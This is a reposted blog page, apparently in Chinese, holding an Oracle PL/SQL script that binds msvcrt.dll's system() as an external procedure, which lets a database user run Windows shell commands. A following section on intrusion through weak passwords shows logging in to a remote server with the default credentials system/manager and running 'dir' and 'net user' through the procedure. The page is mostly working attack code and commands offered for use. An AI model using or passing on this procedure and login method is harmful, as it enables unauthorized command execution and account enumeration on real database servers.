oracle executesqlcommand,Oracle Execute Command Sql Script in Win
--?----------------------------------------------------------------------------
--?SQL?server下可以通過cmd_shell調用系統命令,其實Oracle下也可以。
--這個SQL就是建立一個類似于sql?Server下cmd_shell的過程。
--?----------------------------------------------------------------------------
--????????????????????????????windows下的cmd_shell
--????????????在win2k下的oracle817測試成功
--???????????????????????????benjurry@xfocus.org
--?????使用方法:
--1、以dba?權限用sqlplus登陸oracle,
--2、假設這個文件放在d:\win_oracmd.sql,則在SQLplus中輸入:@d:\win_oracmd.sql
--3、在sqlplus下輸入?exec?oracmd.exec?('dir?>?c:\dir.txt');
--?----------------------------------------------------------------------------
CREATE?OR?REPLACE?LIBRARY?exec_shell?AS?'C:\winnt\system32\msvcrt.dll';
/
show?errors
CREATE?OR?REPLACE?PACKAGE?oracmd?IS?PROCEDURE?exec?(cmdstring?IN?CHAR);
end?oracmd;
/
show?errors
CREATE?OR?REPLACE?PACKAGE?BODY?oracmd?IS
PROCEDURE?exec(cmdstring?IN?CHAR)
IS?EXTERNAL
NAME?"system"
LIBRARY?exec_shell
LANGUAGE?C;
end?oracmd;
/
show?errors
補充:
利用弱口令進行入侵:
C:\>sqlplus /nolog
SQL> connect
system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));
SQL> exec oracmd.exec ('dir >c:\dir.txt');
PL/SQL 過程已成功完成。
SQL> exec oracmd.exec ('net user >d:\cmd.txt');
PL/SQL 過程已成功完成。
總結
以上是生活随笔為你收集整理的oracle executesqlcommand,Oracle Execute Command Sql Script in Win的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle11gr2 active d
- 下一篇: linux系统 安卓系统安装教程,最简单